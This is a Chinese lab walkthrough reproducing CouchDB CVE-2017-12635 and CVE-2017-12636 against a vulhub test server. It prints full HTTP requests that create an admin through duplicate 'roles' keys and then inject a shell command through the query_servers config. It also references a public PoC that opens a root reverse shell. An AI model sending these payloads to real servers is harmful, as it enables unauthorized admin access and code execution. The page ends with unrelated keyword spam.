千家信息网

如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,本篇文章为大家展示了如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。Couc
千家信息网最后更新 2025年12月01日如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

本篇文章为大家展示了如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

CouchDB是一个开源的面向文档的数据库管理系统,可以通过RESTful JavaScript Object Notation(JSON)API访问。Apache CouchDB是专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

漏洞影响版本:小于 1.7.0 以及 小于 2.1.1

一、漏洞原理

CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

举例:Erlang:> jiffy:decode("{"a":"1", "a":"2"}").{[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}

JavaScript> JSON.parse("{"a":"1", "a": "2"}"){a: "2"}

Ps:在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。

CVE-2017-12636:由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。

CVE-2017-12635结合CVE-2017-12636可实现远程代码执行

二、准备环境

攻击机(kali):192.168.29.130

被攻击机(Ubuntu):192.168.29.141(使用vulhub搭建镜像环境)

备用机:真实机(含python3环境)

测试环境地址:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

三、环境搭建

1.下载vulhub的漏洞环境,进入对应的目录下面,使用命令sudo docker-compose buildsudo docker-compose up -d搭建镜像环境

2. 查看Ubuntu服务器(被攻击机)的IP地址(192.168.29.141)

3. 访问搭建完成以后的couchdb(该环境为2.1.0版本)http://192.168.29.141:5984/_utils/#login

四、漏洞复现

1.抓取数据包发送到重放模块,利用CVE-2017-12635漏洞创建一个管理员用户,用户名为xx,密码为:xx。Ps: 发送包含两个roles的数据包,即可绕过限制。Erlang和JavaScript,对JSON解析方式的不同,所以这样可以使当前用户赋予"_admin"身份

PUT /_users/org.couchdb.user:xx HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 100{"type": "user","name": "xx","roles": ["_admin"],"roles": [],"password": "xx"}

2.使用刚刚注册的账户:xx,密码:xx;登陆到后端系统

3.利用CVE-2017-12636漏洞必须登录到管理员用户才能进行操作,所以说需要结合CVE-2017-12635漏洞进行利用。其中测试环境带有poc:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py,下载poc修改目标IP以及couchdb版本信息即可实现攻击操作 4.kali攻击机开启监听443端口

5.利用第3步下载的poc文件(备用机的python3环境,也可以使用kali的python3环境)

6.会在kali攻击机上面建立会话连接,并且是root权限

7. Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:(也可在登陆状态下访问该链接)

GET /_membership HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMEI4RDE6g1lmNPR5o8RIBREQUmfFXqZClJ4Upgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0

8.可见,我们这里只有一个node,名字是nonode@nohost。然后,我们修改nonode@nohost的配置即可实现对服务器端写入文件:

PUT /_node/nonode@nohost/_config/query_servers/cmd HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMTlDRjk6DPmoeDMHF5ZuRX_Py20A1EL4JvcUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 16"whoami >/1.txt"

9.根据第6步的时候建立的监听的信息,此时可查看创建的文件信息

上述内容就是如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

漏洞 环境 数据 数据库 攻击 攻击机 用户 管理 文件 管理员 配置 信息 密码 方式 版本 存储 分析 不同 两个 内容 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 网络安全培训机构内容 我的世界多人普通生存服务器推荐 网络数据库的图像在哪里 关于网络安全的作文标题 百视通互联网科技有限公司 红帽服务器管理实训报告 数据库一体机的定义 c 从子类里面取数据库 软件开发用户代表 佳星网络技术公司官网 软件开发质量控制2021 软件开发社区生态规划的毕业设计 网络安全从业者的出路 北京指南针软件开发公司 php 数据库连接未定义 保定翰阁软件开发 村民服务器 软件开发职业培训加盟 服务器查看网络读写速率 杨浦区营销软件开发不二之选 零号任务pc连接不上服务器 济南衣邦人互联网科技有限公司 期货交易软件开发重点 数据库命名能用拼音吗 神通数据库关闭外键约束 现货交易软件开发制作 软件开发质保金是多少钱 危害计算机网络安全的活动 鲁班建站网络技术有限公司 海致网聚网络技术公司 张鹏
0